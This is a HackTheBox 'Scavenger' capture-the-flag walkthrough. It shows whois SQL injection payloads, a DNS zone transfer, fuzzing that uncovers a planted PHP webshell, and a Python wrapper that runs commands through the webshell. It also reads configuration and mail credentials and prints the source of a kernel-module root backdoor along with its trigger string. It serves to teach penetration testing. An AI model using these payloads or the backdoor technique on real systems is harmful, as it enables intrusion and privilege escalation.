Scavenger

Focus on the good stuff!

HackTheBox Scavenger Machine Info Card

Scavenger is a hard difficulty machine and the first I have attempted on HackTheBox. It tests your knowledge in basic enumeration, SQL injection, more enumeration, DNS service exploitation, uhuh more enumeration, yet more enumeration, even more enumeration, basic reverse engineering/debugging.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

portscan scavenger.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-07 23:18 PST
Nmap scan report for scavenger.htb (10.10.10.155)
Host is up (0.23s latency).

PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
22/tcp open   ssh      OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA)
|   256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA)
|_  256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519)
25/tcp open   smtp     Exim smtpd 4.89
| smtp-commands: ib01.supersechosting.htb Hello scavenger.htb [10.10.14.40], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP, 
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 
43/tcp open   whois?
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: 
|     % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|     This query returned 0 object
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|_    1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like'
53/tcp open   domain   ISC BIND 9.10.3-P4 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Debian
80/tcp open   http     Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesnt have a title (text/html).
Service Info: Host: ib01.supersechosting.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.07 seconds

Domains

Navigating to port 80 show us the page:

Scavenger VHost Error Screenshot

As we can see from the nmap scan the whois service on port 43 gives us the vhost http://www.supersechosting.htb.

Adding this to our /etc/hosts reveals the page:

Scavenger SuperSecHosting Screenshot

This page gives us some extra info and tells us that a LAMP stack is preinstalled with SSH and FTP access.

From the information we gather from the page as well as our nmap scan we have all versions for the stack:

Linux - Debian 10 (Buster)

Apache - 2.4.25

MySQL - MariaDB10.1.37

PHP - 7

Along with OpenSSH 7.4p1 and vsftpd 3.0.3.

We also see a couple more domains listed for the DNS server dns.supersechosting.htb and WHOIS server whois.supersechosting.htb. Let’s add those to our /etc/hosts incase we need them.

Since this is a hosting service and also self proclaimed First authorized registrar for new .htb top level domain we can assume there may be some other sites laying about.

Considering we know that the whois service is running MariaDB and we can see it is potentially suscpeptible to SQL Injection from the output 1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like' we will start with this service.

WHOIS Service

Using the whois command we can cause MariaDB to error out confirming SQL Injection:

whois -h scavenger.htb -p 43 -H "'"
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''') limit 1' at line 1

We can see here from the error output that the query contains a parantheses ).

Admittedley I tried to use a 1=1 query but I must have used the -H flag which hides the legal disclaimers but also filters the extra output. However, a fellow HTB user kindly informed me that it does in fact work without that flag.

So using the following command we can dump extra domain entries from the database:

whois -h scavenger.htb -p 43 "') or 1=1 -- -"

To be honest I am quite happy I missed this because I learnt a lot going the long winded way as follows.

With the error information we can start mapping our structure with union:

whois -h scavenger.htb -p 43 -H "') union all select null -- -"                               
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
1222 (21000): The used SELECT statements have a different number of columns

The outputted error tells us that there is more than one column.

We keep adding null to map out our entry point:

whois -h scavenger.htb -p 43 -H "') union all select null,null -- -"

Adding two null inputs gives us no output at all. Adding three causes another error. So two it is!

Now we test to see which position is vulnerable:

whois -h scavenger.htb -p 43 -H "') union all select 1,null -- -"                                                                                                                  
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
1

As we can see the query has returned our input so we know that this entry is vulnerable. Testing the other position returns no output so it is not vulnerable.

With this information we can now try to dump some information:

whois -h scavenger.htb -p 43 -H "') UNION ALL SELECT group_concat(table_schema),null from information_schema.tables where table_schema=database() -- -"                               
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
whois

Our query reveals a database called whois.

Now let’s see if we can find some tables:

whois -h scavenger.htb -p 43 -H "') UNION ALL SELECT group_concat(table_name),null from information_schema.tables where table_schema=database() -- -"                                 
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
customers

Within this output we find a table called customers.

We will also list the columns:

whois -h scavenger.htb -p 43 -H "') UNION SELECT group_concat(column_name),null from information_schema.columns where table_schema=database() -- -"                                   
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
id,domain,data

Looks like we have three columns. The domain column will hopefully point us to some other domains to enumerate!

Finally, with the inforamtion we have gathered let’s dump the data:

whois -h scavenger.htb -p 43 -H "') UNION SELECT group_concat(domain),null from customers -- -"                                   
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
supersechosting.htb,justanotherblog.htb,pwnhats.htb,rentahacker.htb

Nice! We find a bunch of domains.

Let’s add these to our /etc/hosts. We find that we need to include www like we did for supersechosting.htb.

In doing so we can now go check them out!

More Domains

Taking a look we see that justanotherblog.htb is under construction:

Scavenger JustAnotherBlog Screenshot

The domain pwnhats.htb is a PrestaShop store:

Scavenger Pwnhats PrestaShop Screenshot

And rentahacker.htb is a Wordpress site:

Scavenger RentaHacker Wordpress Screenshot

From a quick glance at exploits relating to these Prestashop and Wordpress the most recents require Admin access. So we may be looking for creds.

Taking a closer look at rentahacker.htb we notice a few comments on the post http://www.rentahacker.htb/2018/12/10/rent-a-hacker/:

Scavenger RentaHacker Wordpress Comments Screenshot

The comment by 31173 HAXXOR team hints at a bug tracking webapp that apparently has already been hacked. We may need to enumerate for subdomains.

From this we can probably say that we have also found our theme relating to the box name.

We may have to scavenge for things the previous hacker has left behind!

DNS Service

Since we know that supersechosting.htb offers DNS resolution services as per their website let’s try finding some info through port 53 with the dig command.

We will use the AXFR protocol which is used for DNS zone transfers and will hopefully allow us to dump all information about the given domain:

dig axfr rentahacker.htb @scavenger.htb                                                                                                                            

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr rentahacker.htb @scavenger.htb
;; global options: +cmd
rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800
rentahacker.htb.        604800  IN      NS      ns1.supersechosting.htb.
rentahacker.htb.        604800  IN      MX      10 mail1.rentahacker.htb.
rentahacker.htb.        604800  IN      A       10.10.10.155
mail1.rentahacker.htb.  604800  IN      A       10.10.10.155
sec03.rentahacker.htb.  604800  IN      A       10.10.10.155
www.rentahacker.htb.    604800  IN      A       10.10.10.155
rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800
;; Query time: 427 msec
;; SERVER: 10.10.10.155#53(10.10.10.155)
;; WHEN: Wed Feb 12 04:47:24 PST 2020
;; XFR size: 8 records (messages 1, bytes 251)

We see that we reveal the subdomain sec03.rentahacker.htb.

Let’s add that to our /etc/hosts (the list is getting long now) and see what we can find:

Scavenger Sec03 Comments Screenshot

So we have found the site that 31173 HAXXOR team said they hacked. They mentioned it was a bugtracking webapp.

Knowing that the webapp is potentially written in PHP navigating to index.php redirects to the Mantis Bug Tracker login page at http://sec03.rentahacker.htb/login_page.php:

Scavenger Sec03 MantisBT Screenshot

At the login page we see the message: Warning: You should disable the default 'administrator' account or change its password. This tells us that the default credentials may not have been changed!

Trying the default login administrator:root we get access:

Scavenger Sec03 MantisBT Screenshot

Taking a look around we don’t find anything interesting and checking the exploits available for the version reveals no vulnerabilities.

Foothold

While we look around a bit more let’s setup Burp Suite’s intruder and enumerate for directories as well as filenames:

Scavenger Burp Intruder Filenames Screenshot

And from the payloads tab we can load our wordlist. We will use big.txt.

Our results reveal a file called shell.php:

Scavenger Burp Intruder Shell Screenshot

Alternativley we can use wfuzz:

wfuzz -w /usr/share/wordlists/dirb/big.txt --sc 200 http://sec03.rentahacker.htb/FUZZ.php

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://sec03.rentahacker.htb/FUZZ.php
Total requests: 959

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                    
===================================================================

000000231:   200        0 L      0 W      0 Ch        "core"                                                                                                                     
000000498:   200        57 L     339 W    4712 Ch     "login" 
    .... SNIP ....      .... SNIP ....      .... SNIP ....                                                                                                                   
000000752:   200        0 L      0 W      0 Ch        "shell"                                                                                                                    
000000881:   200        57 L     332 W    4667 Ch     "view"                                                                                                                     

Total time: 35.68731
Processed Requests: 959
Filtered Requests: 955
Requests/sec.: 26.87229

Looks like we have a webshell! Trying a few common parameters returns nothing!

Let’s once again setup Burp Suite’s intruder this time looking for the webshells parameter:

Scavenger Burp Intruder Shell Parameter Screenshot

And from the payloads tab we can load our wordlist. Once again using big.txt.

Our results reveal the parameter hidden:

Scavenger Burp Intruder Shell Parameter Hidden Screenshot

Alternatively using wfuzz:

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --filter "w>0" http://sec03.rentahacker.htb/shell.php?FUZZ=ls

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://sec03.rentahacker.htb/shell.php?FUZZ=ls
Total requests: 959

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                    
===================================================================

000000407:   200        225 L    225 W    4907 Ch     "hidden"                                                                                                                   

Total time: 35.92109
Processed Requests: 959
Filtered Requests: 958
Requests/sec.: 26.69740

Finally we have RCE with the user ib01c03:

curl http://sec03.rentahacker.htb/shell.php?hidden=id
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)

Now that we have access to the Mantis BT and Wordpress files let’s get the database creds to see if there has been password reuse:

curl http://sec03.rentahacker.htb/shell.php?hidden=cat%20/home/ib01c03/www/wp-config.php
<?php
    .... SNIP ....      .... SNIP ....      .... SNIP ....   
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'ib01c03');

/** MySQL database username */
define('DB_USER', 'ib01c03');

/** MySQL database password */
define('DB_PASSWORD', 'Thi$....Gut');
    .... SNIP ....      .... SNIP ....      .... SNIP ....   
require_once(ABSPATH . 'wp-settings.php');

Using the database username and password we can access ib01c03 FTP account but we just have the same access.

Since we will be working with the webshell let’s make life a little easier by creating ourselves a limited shell:

#!/usr/bin/python

import os
import urllib

class Shell():
    def __init__(self, addr="http://sec03.rentahacker.htb/shell.php?hidden="):
        self.url = addr
    def run_cmd(self, cmd):
        cmd = urllib.quote_plus(cmd)
        curl = "curl -X GET "
        result = os.system(curl + self.url + cmd)
        return(result)
    def cmd_prompt(self):
        res = ''
        while res != 'exit':
            res = raw_input("$ ")
            if res == 'exit':
                pass
            else:
                self.run_cmd(res)

Short and nasty but does the job!

Looking in the home directory we find the following:

ipython
In [1]: import limited_shell
In [2]: a = limited_shell.Shell()
In [3]: a.cmd_prompt()
$ ls /home
ib01c01 ib01c02 ib01c03 ib01ftp ib01www support

Taking a look around we find something in /var/mail.

We find the following email containing some credentials:

cat /var/mail/ib01c03
From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018
Return-path: <support@ib01.supersechosting.htb>
Envelope-to: ib01c03@ib01.supersechosting.htb
Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100
Received: from support by ib01.supersechosting.htb with local (Exim 4.89)
        (envelope-from <support@ib01.supersechosting.htb>)
        id 1gWRtI-0000ZK-8Q
        for ib01c03@ib01.supersechosting.htb; Mon, 10 Dec 2018 21:10:56 +0100
To: <ib01c03@ib01.supersechosting.htb>
Subject: Re: Please help! Site Defaced!
In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100
        <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
X-Mailer: mail (GNU Mailutils 3.1.1)
Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb>
From: support <support@ib01.supersechosting.htb>
Date: Mon, 10 Dec 2018 21:10:56 +0100
X-IMAPbase: 1544472964 2
Status: O
X-UID: 1

>> Please we need your help. Our site has been defaced!
>> What we should do now?
>>
>> rentahacker.htb

Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: Yhg...._Ta

Thanks.

Logging in via FTP we find a directory called incident that contains two other directories called ib01c01 and ib01c03.

We are more interested in moving to another user so we will check out the ib01c01 directory first:

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--rw-r--    1 1005     1000        10427 Dec 10  2018 ib01c01.access.log
-rw-r--r--    1 1000     1000       835084 Dec 10  2018 ib01c01_incident.pcap
-r--rw-r--    1 1005     1000          173 Dec 11  2018 notes.txt

Let’s download the files with the get command and see what we have got. The pcap will be our main area of focus!

From our enumeration of apache configuration files we know that the ib01c01 user runs the http://www.pwnhats.htb website. Also as per our enumeration we know that website is running PrestaShop. We will be looking for the administration backend.

Opening up the pcap file in Wireshark we set the filter http.request.method == POST and quickly see our target location.

We right click and slect Follow and then TCP Stream:

Scavenger Wireshark Pcap Screenshot

We then see our POST request with the email and password:

Scavenger Wireshark Pcap Post Stream

We can confirm the credentials at http://www.pwnhats.htb/admin530o6uisg and logging in with the details.

During enumeration of the filter http.request.method == GET in WireShark we also see something of interest referencing root.c:

Scavenger Wireshark Pcap Root.c

Taking a look at the TCP Stream of these items we see a Makefile which looks like it is to do with Kernel modules and the root.c files that contains C code for what seems to be performing privilege escalation:

Scavenger Wireshark Pcap Root.c Stream

Straight off the mark there is a line that seems quite distinct MODULE_DESCRIPTION("Got r00t!.");. A quick search online reveals a forum post detailing the privilege escalation.

We see that a device is created called /dev/ttyR0 and the permissions 666 is set. A check on the machine reveals that we in fact have that device with those permissions:

ls -l /dev/ttyR0
crw-rw-rw- 1 root dialout 248, 0 Feb 18 10:54 /dev/ttyR0

To execute the privilege escalation the attacker does a simple command but it does not seem to work:

echo "g0tR0ot" > /dev/ttyR0 && id

Taking a look into the code g0tR0ot is meant to be a “magic” string that is a backdoor. Obviously this magic string has been changed hence why it does not work.

Further reading shows that root.c compiles to root.ko a Kernel module that is loaded with insmod.

A quick search of the system does not show a file with that name so we can safely assume it is most likely within ib01c01’s home directory.

User

Although we know that the version of PrestaShop installed is vulnerable we will check if there has been a case of password reuse with user ib01c01:

ftp 10.10.10.155                                                                                                                                                                      
Connected to 10.10.10.155.
220 (vsFTPd 3.0.3)
Name (10.10.10.155:root): ib01c01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    5 1001     1004         4096 Feb 19 08:54 .
drwxr-xr-x    8 0        0            4096 Dec 07  2018 ..
drwxr-xr-x    2 1001     1004         4096 Feb 02  2019 ...
-rw-------    1 0        0               0 Dec 11  2018 .bash_history
drwx------    2 1001     1004         4096 Feb 19 08:46 .ssh
-rw-------    1 1001     1004           32 Jan 30  2019 access.txt
-rw-r--r--    1 1001     1004     68175351 Dec 07  2018 prestashop_1.7.4.4.zip
-rw-r--r--    1 1001     1004       469773 Feb 19 08:54 search.txt
-rw-r-----    1 0        1004           33 Dec 07  2018 user.txt
drwxr-xr-x   27 1001     1004         4096 Feb 19 09:05 www
226 Directory send OK.
ftp> get user.txt -
remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
6f8a8a832e....903dcc804d
226 Transfer complete.
33 bytes received in 0.00 secs (93.4103 kB/s)

We find that we have FTP access and grab the user.txt flag! Now on to root.

Root

In the above FTP directory listing we notice a folder somewhat “disguised” with the name ...

Moving in to the directory we find our file:

ftp> cd ...
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1004         4096 Feb 02  2019 .
drwx------    5 1001     1004         4096 Feb 19 08:54 ..
-rw-r--r--    1 0        0          399400 Feb 02  2019 root.ko
226 Directory send OK.

We can download it and investigate further.

Looking again at the code for root.c we know that we are interested in the root_write() function where the magic string is declared:

root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{ 
  char   *data;
  char   magic[] = "g0tR0ot";

  struct cred *new_cred;
  
  data = (char *) kmalloc (len + 1, GFP_KERNEL);
    
  if (data)
    {
      copy_from_user (data, buf, len);
        if (memcmp(data, magic, 7) == 0)
      {
        if ((new_cred = prepare_creds ()) == NULL)
          {
        return 0;
          }
        V(new_cred->uid) = V(new_cred->gid) =  0;
        V(new_cred->euid) = V(new_cred->egid) = 0;
        V(new_cred->suid) = V(new_cred->sgid) = 0;
        V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
        commit_creds (new_cred);
      }
        kfree(data);
      }
    
    return len;
}

Taking a look at root.ko in IDA we can take a look at the function and the pseudocode for it:

Scavenger Wireshark Root.ko

We see three strings:

strcpy(a, "g3t");
strcpy(b, "Pr1v");
strcpy(magic, "g0tR0ot");

Since we know that the two strings g3t and Pr1v are not in the original code we can safely assume that these two strings are concatenated together to make the “magic” string. Looking further down the pseudocode we see that this is the case.

Let’s go try it out back at our limited shell for ib01c03:

echo "g3tPr1v" > /dev/ttyR0 && id
uid=0(root) gid=0(root) groups=0(root),1004(customers)

Sure enough we can execute commands as root!

Now to take the flag:

echo "g3tPr1v" > /dev/ttyR0 && cat /root/root.txt
4a08d8174e....db9a732b17

That’s it. Another box rooted and my first hard difficulty machine!

Hack The Box